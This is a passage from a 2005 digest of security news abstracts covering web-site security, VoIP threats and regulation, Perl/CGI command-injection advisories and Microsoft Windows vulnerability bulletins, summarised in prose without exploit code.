* Monitor-actuator architecture: Many safety-critical systems do not have an immediate safe state, but can't incur the high costs of a full dual-channel or multiple-channel architecture.

* Keeping people safe: The selection of a safety-critical system architecture is driven by a rigorous hazard analysis followed by risk analysis, in addition to conventional system requirements definition. System design may include combinations of redundant sensor configurations, shutdown systems, actuation monitoring, multiple channel architectures, and/or monitor-actuator structuring. These embedded systems architectures are much more valuable than can be measured in dollars and cents. Their true value is in protecting and saving human lives.

[Extracts selected by MK; all text by the author]

Category 23.6 Web-site infrastructure, general Web security issues
2005-09-25 **online scam fraud phishing protection tool GeoTrust TrustWatch Toolbar Website safety SSL**

EDUPAGE; http://news.com.com/2100-1029_3-5879068.html

NEW TOOLS RATE SAFETY OF WEB SITES

Two new tools from GeoTrust offer Internet users another layer of protection against a range of online scams. The TrustWatch Search site and TrustWatch Toolbar both provide indications about the probable reliability of sites users are visiting, in an effort to help consumers avoid being victimized by phishing scams or by other forms of fraudulent Web sites. The tools evaluate sites for security practices such as certain forms of authentication or use of a Secure Sockets Layer certificate. Sites are also screened against a black list of known fraud sites and checked for patterns that would indicate potentially malicious intent. Users are shown a green signal to indicate a verified site, a yellow signal for suspect sites, and a red signal for sites that cannot be verified. The toolbar provides users with a real-time screen for sites they visit; the search site returns search results--powered by Ask Jeeves--with one of the three indicators for each site returned. CNET, 25 September 2005

Category 23.6 Web-site infrastructure, general Web security issues
2005-10-09 **proprietary source code government programs Windows operating system download Java security safety confidentiality Trojans vulnerability risk management**

RISKS 24 07

GREEK TAX DEPARTMENT OFFERS PROPRIETARY, WINDOWS-ONLY EXECUTABLES FOR DOWNLOAD TO CITIZENS

Vassilis Prevalakis noted that the Greek tax department offered taxpayers free software for download from their Web site to help fill in tax forms.

The original programs were

- * proprietary (secret) code;
- * ran only under Windows.

Eventually, the ministry said it planned "to provide Java-based programs that should run on non-Microsoft platforms and may make the source code available to academic institutions or non-governmental organizations for auditing purposes."

Prevelakis noted, "Still the whole experience shows how easy it is for state agencies to reach out in the homes of their citizens."

Category 23.6 Web-site infrastructure, general Web security issues
2005-12-08 **data corruption WHOIS Internet database Government Accountability Office GAO ICANN FTC Web infrastructure**

EDUPAGE; <http://www.internetnews.com/ent-news/article.php/3569521>

GAO WARNS OF BAD DATA IN WHOIS

A new report from the U.S. Government Accountability Office (GAO) indicates that as many as 2.3 million Web addresses are owned by individuals or organizations that cannot be identified due to bad data in the WHOIS database for .com, .net, and .org domains. The report said that 5 percent of all addresses have incomplete or inaccurate information about the owner, in effect creating a safe haven for operators of Web-based scams, such as phishing attacks or the distribution of spam and viruses. When authorities try to track down those responsible for such malicious activities, they rely on the WHOIS database to find out who operates suspect domains. When the information in WHOIS is wrong, authorities hit a dead end. The Federal Trade Commission has been urging a clean-up of the database for a long time, but progress has been slow. Data are typically entered into the database through domain registrars, which bear some responsibility for ensuring the integrity of the information, along with the Internet Corporation for Assigned Names and Numbers (ICANN). Despite an ICANN policy requiring registrars to remind domain owners to update their information regularly, a system that tracks reports of complaints, however, indicates that only about 60 percent of problems are resolved. Internet News, 8 December 2005

Category 23.6

Web-site infrastructure, general Web security issues

2005-12-27

Microsoft Internet Explorer HTML parsing denial of service vulnerabilities attacker malicious site Security Focus patchers

DHS IAIP Daily; <http://www.securityfocus.com/bid/16070/discuss>

Microsoft Internet Explorer HTML parsing denial of service vulnerabilities.

Microsoft Internet Explorer is affected by multiple denial of service vulnerabilities. An attacker may exploit these issues by enticing a user to visit a malicious site resulting in a denial of service condition in the application. Security Focus is not aware of any vendor-supplied patches for this issue.

23.7 VoIP

Category 23.7

VoIP

2005-01-06

National Institute of Standards and Technology NIST concern Voice over IP VoIP security vulnerabilities firewalls encryption report

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0103/web-voip-01-06-05.asp>

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST) RAISES CONCERNS ABOUT VOICE OVER INTERNET PROTOCOL (VOIP).

Government administrators may not understand the complexity of installing security systems for Internet telephony, a new government study suggests. Officials at the National Institute of Standards and Technology (NIST) released a January 5 report that examines security vulnerabilities in Internet-based telephone systems and raises concerns about an emerging technology that otherwise appears to offer many advantages over traditional telephone networks. Security concerns described in the report suggest that the cost and complexity of installing such systems is greater than people realize. The report's authors say that security measures such as firewalls and encryption used in traditional data networks are incompatible with current Internet-based telephone systems and can cause serious deterioration in the voice quality possible on such systems. To compensate for the current security vulnerabilities of Voice over Internet Protocol (VoIP) technology, NIST officials made several recommendations in the report. Report: <http://csrc.nist.gov/publications/nistpubs/800-58/SP800-58-final.pdf>

Category 23.7

VoIP

2005-02-07

VoIP security threats companies VoIPSA TippingPoint networks lists white papers research

EDUPAGE; <http://www.internetnews.com/security/article.php/3469251>

VOIP PROVIDERS TACKLE SECURITY THREATS UP FRONT

More than 20 companies involved in voice over Internet protocol (VoIP) tools and technology have formed the VoIP Security Alliance (VOIPSA) to try to stay ahead of security threats to the emerging VoIP market. "The same threats on a data network are also inherent in a VoIP deployment," said Laura Craddick, a spokesperson for TippingPoint, one of the founding members of VOIPSA. "Then there are additional risks in VoIP protocols," she added. With VoIP taking hold in some corporate sectors, and with household adoption of VoIP technology expected to rise from 400,000 to 12 million over the next five years, analysts warn of the need to anticipate threats to VoIP networks and prepare for them. VOIPSA will operate discussion lists, publish white papers, and sponsor research. Aside from TippingPoint, VOIPSA members currently include Alcatel, Avaya, Columbia University, and Symantec. Notably absent are Cisco and Nortel, which the group is actively trying to recruit.

Category 23.7

VoIP

2005-02-07

voice over Internet protocol VoIP security alliance formed VOIPSA Siemens Qwest SANS NIST

DHS IAIP Daily; <http://www.wired.com/news/technology/0,1282,66512,00.html>

VOIP SECURITY ALLIANCE FORMED

A new industry group has formed to look at the security threats inherent in voice over Internet protocol (VoIP). The VoIP Security Alliance, or VOIPSA, launched on Monday, February 7. So far, 22 entities, including security experts, researchers, operators and equipment vendors, have signed up. They range from equipment vendor Siemens and phone company Qwest to research organization The SANS Institute. They aim to counteract a range of potential security risks in the practice of sending voice as data packets, as well as educate users as they buy and use VoIP equipment. An e-mail mailing list and working groups will enable discussion and collaboration on VoIP testing tools. Over the past year, experts have repeatedly warned that VoIP abuse is inevitable. The National Institute of Standards and Technology (NIST) put out a report last month urging federal agencies and businesses to consider the complex security issues often overlooked when considering a move to VoIP. NIST is a member of VOIPSA.

Category 23.7 *VoIP*

2005-02-09 **VoIP voice over IP security alliance**

NewsScan; <http://online.wsj.com/article/0>

COMPANIES BAND TOGETHER TO PROMOTE VoIP SECURITY

A group of more than 20 companies, including 3Com, Alcatel, Avaya, Siemens, Symantec and Ernst & Young, have formed a VoIP Security Alliance to tackle voiceover- IP security problems and strive toward making VoIP as reliable as traditional telephony. Alliance chairman David Endler warns that as businesses embrace VoIP as a cheap alternative to their current phone system, many network operators are unaware that they need to alter their security strategies when they add the service. For instance, traditional firewalls cannot police VoIP traffic, he notes. "VoIP networks really inherit the same cyber-security threats that data networks are today prone to, but those threats take greater severity in some cases," says Endler. (Wall Street Journal 9 Feb 2005)

Category 23.7 *VoIP*

2005-03-20 **VoIP technology hackers phreaking FTC spoofing personal information theft**

EDUPAGE; <http://www.wired.com/news/privacy/0,1848,66954,00.html>

APPLYING OLD SCAMS TO NEW TECHNOLOGIES

The emergence of voice over Internet protocol (VoIP) phone service has opened a new door for hackers and others to fool users. Using the Internet to transmit phone calls allows callers to spoof Caller ID systems, something that isn't possible with traditional phone service. Although telemarketers are required by the Federal Communications Commission to properly identify themselves, Caller ID spoofing is otherwise not prohibited. As a result, someone can, for example, call Western Union, which requires customers to call from their home phones to initiate money transfers, using a faked source number, and make a fraudulent transfer. In other instances, debt collectors and private investigators use Caller ID spoofing to trick people into answering their phones and possibly divulging information they otherwise would not. Scams similar to e-mail phishing rackets also take advantage of Caller ID spoofing, deceiving people into believing that a caller is at a bank or a financial institution and helping persuade them to reveal personal information to the caller. Wired News, 20 March 2005

Category 23.7 *VoIP*

2005-04-11 **voice over Internet Protocol VoIP security threats warning emergency services targets fire police**

DHS IAIP Daily; <http://www.networkingpipeline.com/showArticle.jhtml?articleID=160700231>

VoIP SECURITY CHIEF WARNS OF INCREASED SECURITY THREATS

VoIP Security Alliance Chairman, David Endler, says that threats to VoIP are increasing; and emergency services, fire, and police may be targeted. The Voice Over IP Security Alliance (VOIPSA) is the first industry-wide organization devoted to promoting VoIP security. "As VoIP increases in popularity and number of deployments, so will its attractiveness to potential attackers," Endler observes. "VoIP networks inherit most of the same security threats that traditional data networks have today," he notes. "However, by adding new VoIP components to an existing data infrastructure, new security requirements are also added: quality of service, reliability, and privacy. We can expect to see over the next year or two VoIP specific attacks emerge that go beyond today's more prevalent data network vulnerabilities." Our reliance on voice communications for basic needs raises the stakes even higher, when you look at emergency services call centers like 911, police and fire departments, Endler says. One of the problems, he says is that "the threats have not been well identified and laid out yet in a coherent manner. That's one of the things VOIPSA is trying to change with one of our first short-term projects, the VoIP Security Threat Taxonomy." VOIPSA Website: <http://www.voipsa.org/>

Category 23.7

VoIP

2005-05-27

VoIP emergency E911 technology FTC providers NTIA

EDUPAGE; <http://chronicle.com/prm/daily/2005/05/2005052701t.htm>

UNIVERSITIES UNVEIL 911 VOIP TECHNOLOGY

A group of three universities has announced a project that would allow voice over Internet protocol (VoIP) phone systems to work with 911 calls. Traditional phone networks are connected to 911 networks and, in the event of a 911 call, provide the physical location of the caller. Because VoIP calls are routed over the Internet, which is not connected to 911 networks, making 911 technology work with VoIP has been problematic. The Federal Communications Commission, however, recently issued a ruling that will require VoIP providers to offer 911 service to all customers. The system being developed by Columbia University, Texas A&M University at College Station, and the University of Virginia will provide 911 operators with the caller's location and in some cases would also provide a video image of the caller. Internet2, Cisco Systems, and Nortel are also involved in the project, which is not expected to be complete for another year and a half. Part of the funding for the project came from the National Telecommunications and Information Administration, which is part of the Department of Commerce. Chronicle of Higher Education, 27 May 2005 (sub. req'd)

Category 23.7

VoIP

2005-07-11

VoIP voice over IP fraud international telephone call sell operations

RISKS; <http://www.usenet.org.uk/uk.telecom.voip.html>

23

94

VoIP FRAUD COSTING STARTUPS \$MILLIONS IN LOSSES

It's one of the best kept secrets in the Voice over IP industry. The biggest problem facing VoIP providers isn't the specter of costly E911 requirements, overzealous regulators, or even competition from a myriad of sources. The biggest issue is fraud, perpetrated by scammers who take advantage of lax international communications standards and regulations, and make thousands of minutes of calls through carriers - many of them fly-by-night operators - in places such as Afghanistan and Lichtenstein, who charge exorbitant rates for call termination, leaving the originating service provider with sky high bills and no one to charge for them.

VoIP scams have already caused start-ups in the fledgling industry millions of dollars in losses and are blamed, in part, for the recent demise of one service provider. "It is the single largest problem facing providers," says Ravi Sakaria, VoicePulse CEO, "because the development cost associated with addressing the issue is significant enough that it could be prohibitive for the smaller players."

[Carolyn Schuk, writing for VOXILLA.COM]

Category 23.7

VoIP

2005-07-14

TechWeb eavesdrop VoIP service alerts Secutity ISS X-Force bugs crash CallManager calls

DHS IAIP Daily; <http://www.techweb.com/wire/security/165702369>

ATTACKERS COULD EAVESDROP ON CISCO-ROUTED VOIP CALLS

Flaws in Cisco's Voice-over-Internet Protocol (VoIP) software could allow an attacker to bring down the alternative-to-traditional-telephone service, or access the server that initiates and routes Web-based calls, an Atlanta-based security firm said. According to alerts posted online by Internet Security Systems' (ISS) X-Force research team, Cisco's CallManager sports a pair of bugs that could be "reliably exploited" by hackers. The potential result: at best a denial-of-service style crash, at worst, a situation where the attacker could redirect calls at will or even eavesdrop on conversations. By sending specially crafted packets to Cisco CallManager, an attacker could create a heap overflow and crash the system or gain access. ISS said that an exploit wouldn't need any help from a user, pushing the threat into a more dangerous category. Cisco's own advisory includes details on patched editions of CallManager that are ready to download and install.

Category 23.7

VoIP

2005-08-09

George Mason University NSF federal support VoIP tracking defeating eavesdropping technology development

EDUPAGE; http://news.com.com/2100-7348_3-5825932.htm

UNIV. RECEIVES FEDERAL SUPPORT FOR VOIP TRACKING TECHNOLOGY

The National Science Foundation has given researchers at George Mason University a grant of more than \$300,000 to develop a technology that would allow limited eavesdropping on voice over Internet protocol (VoIP) phone calls. Xinyuan Wang, assistant professor of software engineering at the university and principal investigator, has shown that his method can successfully trace VoIP users without their knowledge. As VoIP service has become more common, law enforcement officials have pointed out that they have no way of tapping such phone calls, potentially resulting in a "haven for criminals, terrorists, and spies," according to the Federal Communications Commission. The technology that Wang and his colleagues are working on does not decrypt conversations. It tracks packets as they move from one user to another, allowing authorities to see who is talking to whom, but not to see what they are saying. Wang conceded that "from a privacy advocate's point of view, this is an attack on privacy," but he also noted that "from a police point of view, this is a way to trace things." CNET, 9 August 2005

Category 23.7

VoIP

2005-08-25

denial-of-service DoS Internet phone VoIP FCC emergency 911 compliance

DHS IAIP Daily; <http://www.networkingpipeline.com/showArticle.jhtml?articleId=170100161>

INTERNET PHONE PROVIDERS MAY CUT OFF CUSTOMERS

Providers of Internet-based phone services may be forced next week to cut off tens of thousands of customers who haven't formally acknowledged that they understand the problems they may encounter dialing 911 in an emergency. The Federal Communications Commission (FCC) had set the Monday, August 29, deadline as an interim safeguard while providers of Internet calling, also known as "VoIP" for Voice over Internet Protocol, rush to comply with an FCC order requiring full emergency 911 capabilities by late November. The FCC issued its order in May after a series of highly publicized incidents in which VoIP users were unable to connect with a live emergency dispatch operator when calling 911. Vonage, AT&T, and other carriers have indicated that they plan to comply with the FCC deadline to disconnect customers. But Time Warner Cable, the biggest VoIP provider in the cable TV industry with more than 600,000 users, said in its FCC filing that all customers have already been adequately informed about the risk of losing 911 service in a power outage--the primary issue for cable-based VoIP services--and that all have already acknowledged that risk.

Category 23.7

VoIP

2005-09-09

New York City E911 emergency VoIP service nomadic

DHS IAIP Daily; http://www.govtech.net/magazine/channel_story.php/96576

NEW YORK CITY HAS AN E911 SOLUTION FOR NOMADIC VOIP TELEPHONE SUBSCRIBERS

New York City is now offering an E911 solution for Voice over IP (VoIP) telephone subscribers. This solution addresses a major emergency dialing problem associated with "nomadic" VoIP services. Nomadic services allow subscribers to move their VoIP phones from one location to another with access to a high-speed Internet connection. DoITT Commissioner Gino Menchini stated "The VoIP/911 solution exemplifies what can be accomplished when government and industry work collaboratively." He went on to say that "The VoIP/911 solution exemplifies what can be accomplished when government and industry work collaboratively," said DoITT Commissioner Gino Menchini. "The City of New York recognizes that VoIP offers great potential for new competitive communications services and we encourage its continued growth. At the same time, however, 911 is at the very heart of government's public safety responsibility. I believe this implementation both strengthens the VoIP industry and upholds government's responsibility to protect human life and property."

Category 23.7

VoIP

2005-09-12

proprietary encryption algorithms VoIP voice over IP vulnerability

RISKS; <http://tinyurl.com/a5kgg>; <http://tinyurl.com/c58wa> (free reg'n req'd)

24

04

PUBLIC CALL FOR SKYPE TO RELEASE SPECIFICATIONS

Andrew Ross Sorkin and Vikas Bajaj wrote in the New York Times, "Skype allows users who download its software and register for its service to talk to one another for free over the Internet. For a company that is a little over two years old, it has already amassed a large global following -- the company says its telephony software has been downloaded 162 million times and it has 53 million registered users, with as many as three million using its service at any given time."

Lauren Weinstein wrote in RISKS,

>eBay's acquisition of Skype (now official) leads to new concerns over the proprietary nature of Skype's security and encryption systems, which will now be under the control of an extremely large and powerful corporate entity. For eBay and Skype to have a chance of maintaining the goodwill and trust of Skype users, I call on Skype to forthwith release the specifications and implementation details of Skype's encryption and related technologies.

This disclosure should ideally be made to the public, but at a minimum to an independent panel of respected security, privacy, and encryption experts, who can rigorously vet the Skype technology and make a public report regarding its security, reliability, and associated issues.<

Category 23.7

VoIP

2005-09-19

hacker Internet telephony call systems VoIP threat attack vector

DHS IAIP Daily; <http://news.bbc.co.uk/2/hi/technology/4259554.stm>

HACKERS TARGET NET CALL SYSTEMS

The biannual Symantec Threat Report is reporting that hackers are starting to turn their attention to the technology behind net phone calls. The Voice over IP (Voip) systems as a technology starting to interest hi-tech criminals and the report predicted that within 18 months, Voip will start to be used as a "significant" attack vector. Voip could resurrect some old hacking techniques as well as using old hacking techniques.

Category 23.7

VoIP

2005-09-19

VoIP threats report Symantec voice phishing audio spam call hijacking caller-ID spoofing war dialing combing

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4259554.stm>

REPORT WARNS OF VOIP THREATS

A new report from security firm Symantec identifies voice over Internet protocol (VoIP) technology as potentially fertile ground for a wave of cybercrime, including a new variation on an old scam. Within the next 18 months, Symantec expects VoIP to become a "significant" channel for electronic mischief including audio spam, voice phishing, call hijacking, and caller-ID spoofing. Ollie Whitehouse, technical manager at Symantec's research labs, said that although few VoIP attacks have been reported so far, the company "believes it's only a matter of time before attackers target it more intensely." A technique called war-dialing, in which computers call many thousands of phone numbers looking for those that respond with data tones, could also see a reemergence with VoIP. Hackers could comb VoIP phone numbers and locate unprotected or poorly protected servers that could then be compromised. BBC, 19 September 2005

Category 23.7 VoIP

FCC VoIP emergency services E911 provider deadline

EDUPAGE;

<http://www.siliconvalley.com/mld/siliconvalley/business/technology/12755614.htm>

FCC DELAYS 911 VOIP CUSTOMER DISCONNECT AGAIN

The Federal Communications Commission again delayed enforcing a deadline for Internet phone service providers to disconnect customers who have not yet verified that they understand they might not be able to reach an emergency dispatcher when they dial 911 on their cellular phones. The FCC noted that status reports from the VoIP service providers indicated that nearly all subscribers have responded to the prompts. Those providers who have received confirmations from 90 percent or more of their subscribers do not need to meet the disconnect requirement, but must continue to seek complete compliance. Other service providers have until October 31 to reach the 90 percent threshold to avoid disconnecting users. Up to 10,000 subscribers faced disconnection under the original ruling. San Jose Mercury News, 27 September 2005

Category 23.7 VoIP

wiretapping interception VoIP FCC rules considered

DHS IAIP Daily;

<http://management.silicon.com/government/0,39024677,39152744,00.htm>

VOIP WIRETAPPING RULES TO BE CONSIDERED

The Federal Communications Commission's (FCC) has developed a 59-page decision for Broadband providers and Internet phone services. They now have until spring 2007 to follow a new and complex set of rules designed to make it easier for police to seek wiretaps. This includes that any voice over IP, or VoIP, provider linking with the public telephone network must be wiretap-ready.

Category 23.7 VoIP

Security VoIP VoIPSA Threat Taxonomy telephony Internet

DHS IAIP Daily; <http://www.networkingpipeline.com/showArticle.jhtml?articleID=172303368>

SECURITY GROUP TAKES FIRST MAJOR STEP AGAINST VOIP DANGERS

The Voice over IP Security Alliance (VoIPSA) has announced its VoIP Security Threat Taxonomy, which is a classification and description of the types of security threats that affect IP telephony. Alliance secretary and taxonomy project head Jonathan Zar says that the taxonomy is the first step in dealing with VoIP security. By defining the kinds and nature of threats, VoIPSA hopes to give the Internet voice industry a common reference point to deal systematically with VoIP security issues. The VoIP Security Threat Taxonomy is organized into four broad categories. Two - denial of service and unlawful signal or traffic modification - deal with the integrity of the network signal and infrastructure. Signal interception and bypass of refused consent categorize threats specific to VoIP and deal specifically with privacy. VoIPSA Website: <http://www.voipsa.org/>

Category 23.7 VoIP

FCC Internet phone customer no cutoff VoIP emergency E911

DHS IAIP Daily;

http://www.boston.com/business/technology/articles/2005/11/08/us_fcc_says_no_cutoff_for_internet_phone_customers/

FEDERAL COMMUNICATIONS COMMISSION SAYS NO CUTOFF FOR INTERNET PHONE CUSTOMERS

According to guidance from the Federal Communications Commission (FCC) released on Monday, November 7, Internet telephone providers will not have to cut off service to U.S. subscribers even if they are not able to receive enhanced 911 (E911) emergency service. Internet telephone providers had worried that the FCC's rules adopted in May would require them to suspend by November 28 service for subscribers who cannot receive E911 service. According to the recently released guidance, existing customers do not have to be disconnected, but Internet telephone providers will have to cease marketing and accepting new customers in areas where they are not connecting 911 calls with the person's location and phone number. The voice-over-Internet-protocol (VOIP) rules adopted in May required 911 calls to be routed to live dispatchers and the caller's location and number be identified. The move followed instances in which customers had trouble reaching help when they dialed 911. The Voice On the Net Coalition, which represents many VOIP providers, said that roughly 750,000 customers could be affected if they had to suspend service to those who did not have enhanced 911 service available. FCC guidance: <http://www.fcc.gov/headlines.html>

Category 23.7 *VoIP*

2005-11-15 **FCC VoIP emergency E911 Website launch**

DHS IAIP Daily; <http://www.govtech.net/news/news.php?id=97263>

FEDERAL COMMUNICATIONS COMMISSION LAUNCHES VOIP 911 WEBSITE

The Joint Federal Communications Commission (FCC) and National Association of Regulatory Utility Commissioners (NARUC) Task Force on VoIP 911 Enforcement has launched a new Website to provide consumers, industry, and state and local governments information about the rules that require certain providers of Voice over Internet Protocol (VoIP) services to supply 911 emergency calling capabilities to their customers. FCC Chairman Kevin J. Martin said, "Anyone who dials 911 has a reasonable expectation that he or she will be connected to an emergency operator; this expectation exists whether that person is dialing 911 from a traditional wireline phone, a wireless phone, or a VoIP phone. This new Website will provide an easy way for consumers, industry, and other government agencies to get the most current information on this important issue."

FCC/NARUC Task Force website: <http://www.voip911.gov>

23.9 PERL, CGI scripts

Category 23.9 **PERL, CGI scripts**

2005-01-19 **AWStats two vulnerabilities command execution vulnerabilities Perl CGI script**

DHS IAIP Daily; <http://seunia.com/advisories/13893/>

AWSTATS "CONFIGDIR" PARAMETER ARBITRARY COMMAND EXECUTION

Two vulnerabilities have been reported in AWStats, where one has an unknown impact and the other can be exploited by malicious people to compromise a vulnerable system. Input passed to the "configdir" parameter is not sanitized before being used as an argument to the "open()" Perl routine. This can be exploited to execute arbitrary commands with the privileges of the web server by passing these as input together with certain shell meta-characters. Successful exploitation requires that the application is running as a CGI script. Update to version 6.3: <http://awstats.sourceforge.net/#DOWNLOAD>

Category 23.9 **PERL, CGI scripts**

2005-02-11 **perl sudo wrapper vulnerabilities code execution privilege escalation update issued**

DHS IAIP Daily; <http://www.securityfocus.com/archive/1/390215>

VULNERABILITIES IN PERL-SUDO WRAPPER

Vulnerabilities leading to file overwriting and code execution with elevated privileges have been discovered in the perl-sudo wrapper. A local attacker could set the PERLIO_DEBUG environment variable and call existing perl-sudo scripts, resulting in file overwriting and potentially the execution of arbitrary code with root privileges. Users should upgrade to the latest version of Perl.

[Note: "cross-site scripting:" Causing a user's Web browser to execute a malicious script. One approach is to hide code in a "click here" hyperlink attached to a URL that points to a non-existent Web page. When the page is not found, the script is returned with the bogus URL, and the user's browser executes it. -- from the Computer Desktop Encyclopedia, v18.2. See <<http://www.computerlanguage.com>>]

Category 23.9 **PERL, CGI scripts**

2005-07-14 **FrSIRT WPS Web Portal System command arbitrary input validation error filter parameter**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1099>

WPS WEB-PORTAL-SYSTEM "WPS_SHOP.CGI" REMOTE COMMAND EXECUTION

A vulnerability was identified in WPS Web-Portal-System, which may be exploited by remote attackers to execute arbitrary commands. This flaw is due to an input validation error in the "wps_shop.cgi" script that does not properly filter a specially crafted "art" parameter, which may be exploited by remote attackers to execute arbitrary commands via the pipe character. WPS Web-Portal-System version 0.7.0 and prior The FrSIRT is not aware of any official supplied patch for this issue.

24.2 Windows NT/2K/XP

Category 24.2 *Windows NT/2K/XP*
2005-01-11 **Microsoft Windows Security Bulletin HTML Help vulnerability code execution full rights attacker critical rating update issued**

DHS IAIP Daily; <http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx>

MS05-001: VULNERABILITY IN HTML HELP COULD ALLOW CODE EXECUTION

A vulnerability exists in the HTML Help ActiveX control in Windows that could allow information disclosure or remote code execution on an affected system. If a user is logged on with administrative privileges, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full privileges. Users whose accounts are configured to have fewer privileges on the system could be less impacted than users who operate with administrative privileges. Microsoft has assigned a risk rating of "Critical" to this issue and recommends that customers install the update immediately.

Category 24.2 *Windows NT/2K/XP*
2005-01-11 **Microsoft Windows Security Bulletin cursor icon format handling vulnerability code execution full rights attacker critical rating update issued**

DHS IAIP Daily; <http://www.microsoft.com/technet/Security/bulletin/ms05-002.mspx>

VULNERABILITY IN CURSOR AND ICON FORMAT HANDLING COULD ALLOW REMOTE CODE EXECUTION

This update resolves several newly-discovered, privately reported and public vulnerabilities. An attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system, install programs; view, change, or delete data; or create new accounts that have full privileges. Microsoft has assigned a risk rating of "Critical" to these issues and recommends that customers apply the update immediately.

Category 24.2 *Windows NT/2K/XP*
2005-01-11 **Microsoft Windows Security Bulletin indexing service format handling vulnerability code execution full rights attacker important rating update issued**

DHS IAIP Daily; <http://www.microsoft.com/technet/security/bulletin/MS05-003.mspx>

VULNERABILITY IN THE INDEXING SERVICE COULD ALLOW REMOTE CODE EXECUTION

A remote code execution vulnerability exists in the Indexing Service because of the way that it handles query validation. An attacker could exploit the vulnerability by constructing a malicious query that could potentially allow remote code execution on an affected system. An attacker who successfully exploited this vulnerability could take complete control of an affected system. While remote code execution is possible, an attack would most likely result in a denial of service condition. Microsoft has assigned a risk rating of "Important" to this issue and recommends that system administrators consider applying the security update.

Category 24.2 *Windows NT/2K/XP*
2005-01-12 **Microsoft Windows multiple vulnerabilities denial of service privilege escalation code execution update issued**

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-012A.html>

MULTIPLE VULNERABILITIES IN MICROSOFT WINDOWS ICON AND CURSOR PROCESSING

Microsoft Windows contains multiple vulnerabilities in the way that it handles cursor and icon files. A remote attacker could execute arbitrary code or cause a denial-of-service condition. If a remote attacker can persuade a user to access a specially crafted bitmap image, icon, or cursor file, the attacker may be able to execute arbitrary code on that user's system, with their privileges. Potentially, any operation that displays an image could trigger exploitation, for instance, browsing the file system, reading HTML e-mail, or browsing Websites. A solution is to install the update as described in Microsoft Security Bulletin MS05-002; <http://www.microsoft.com/technet/security/bulletin/ms05-002.mspx>

Category 24.2 Windows NT/2K/XP
2005-01-26 **piracy Microsoft Windows XP software updates patches fixes enhancements**

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A37035-2005Jan26.html>

MICROSOFT: SOFTWARE FIXES AREN'T FOR PIRATES

Microsoft will soon be requiring that Windows XP users verify that their copy of the software is genuine before they'll be able to receive "greater reliability, faster access to updates, and richer user experiences." Although users of pirated copies of Windows will still be able to get security patches, they won't be able to get other enhancements to Windows. The company will be expanding a trial authentication program it began last fall, and will make mandatory in mid-2005 for all users seeking to access software updates, downloads and security fixes for Windows. (Reuters/Washington Post 26 Jan 2005)

Category 24.2 Windows NT/2K/XP
2005-02-02 **Microsoft software international government threat early warning attack prevention mitigation national security public safety**

DHS IAIP Daily; <http://www.nytimes.com/aponline/technology/AP-Microsoft-Security.html>

MICROSOFT OFFERING GOVERNMENTS EARLY WARNINGS

Microsoft offered Wednesday, February 2, to begin alerting the world's governments early to cyberthreats and security flaws in its attack-prone software. Microsoft also wants to work with governments to help prevent and mitigate the damage from hacker attacks, said Giorgio Vanzini, the director of Microsoft's government engagement team. Microsoft already provides the U.S. government with early warnings. Vanzini said extending the program aims to protect critical infrastructure given that major Internet attacks can affect national security, economic stability and public safety. The new program intends to complement Microsoft's existing Government Security Program, in which governments and agencies may review Microsoft's proprietary source code for Windows operating systems and Office business software and evaluate for themselves the software's security and ability to withstand attacks. So far three countries, Canada, Chile and Norway, as well as the U.S. state of Delaware, have been engaged in the new project, Vanzini said. Governments currently under a trade embargo with the United States are not eligible to sign up to the program, which is provided free of charge.

Category 24.2 Windows NT/2K/XP
2005-02-08 **Microsoft February 2005 security bulletin critical important moderate issues Office Windows Internet Explorer flaws vulnerabilities**

DHS IAIP Daily; <http://www.microsoft.com/technet/security/bulletin/ms05-feb.mspx>

MICROSOFT FEBRUARY SECURITY BULLETIN RELEASED

Microsoft's February Security Bulletin contains eight "Critical" issues, three "Important" issues and one "Moderate" issue. Software affected by these issues includes: Office, Project, Visio, Windows, Windows Media Player, Windows Messenger, MSN Messenger, Internet Explorer, the .NET Developer Tools and Platform. Exploitation of these vulnerabilities could result in remote code execution, information disclosure, or elevation of privilege. Updates are available through Microsoft at Source link below.

Category 24.2 Windows NT/2K/XP
2005-03-05 **Microsoft Windows Server 2003 XP SP2 LAND vulnerability denial of service DoS attack TCP packet SYN flag firewall enable**

DHS IAIP Daily; <http://www.securityfocus.com/archive/1/392354/2005-03-03/2005-03-09/0>

WINDOWS SERVER 2003 AND XP SP2 LAND ATTACK VULNERABILITY

Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are vulnerable to a Denial of Service through a LAND attack. A LAND attack occurs when a user sends a TCP packet with SYN flag set and source and destination IPs are the same and source and destination ports are the same, using the target system IP address. Enable Windows Firewall as a workaround.

Category 24.2 Windows NT/2K/XP

2005-03-14 **Air Force Microsoft agreement security patches beta test versions**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/35271-1.html

AIR FORCE TO GET MICROSOFT SECURITY PATCHES BEFORE OFFICIAL RELEASE

The Air Force now has a jump-start on implementing Microsoft security patches thanks to a plan that allows the department to receive beta test versions of patches. Under the company's Security Update Validation Program, the Air Force will receive beta patches before they are officially released. After the department tests them, the patches will be distributed to other federal agencies. The Air Force is "in discussions" with the Defense Department about ways to bring the security services concept to other branches of the military and federal agencies, according to John Gilligan, Air Force CIO. Under the program, Microsoft will identify vulnerabilities and implement fixes across the enterprise.

Category 24.2 Windows NT/2K/XP

2005-03-24 **Microsoft Windows Remote Desktop vulnerability denial of service DoS attack update issued**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Mar/1013552.html>

MICROSOFT WINDOWS REMOTE DESKTOP 'TSSHUTDN.EXE' REMOTE DENIAL OF SERVICE VULNERABILITY

A vulnerability was reported in Microsoft Windows Remote Desktop. A remote authenticated user can shutdown the target system. A non-administrative user can remotely shut down a Microsoft Windows XP Service Pack 1 (SP1)-based computer by using the TSShutdn.exe command. This problem occurs because the Remote Desktop does not check the Force shutdown from a remote system user right. A hotfix is available from Microsoft Product Support Services. See the knowledge base article for more information: <http://support.microsoft.com/kb/889323/>

Category 24.2 Windows NT/2K/XP

2005-04-04 **Microsoft Jet Database Engine database buffer overflow vulnerability command execution attack no update issued**

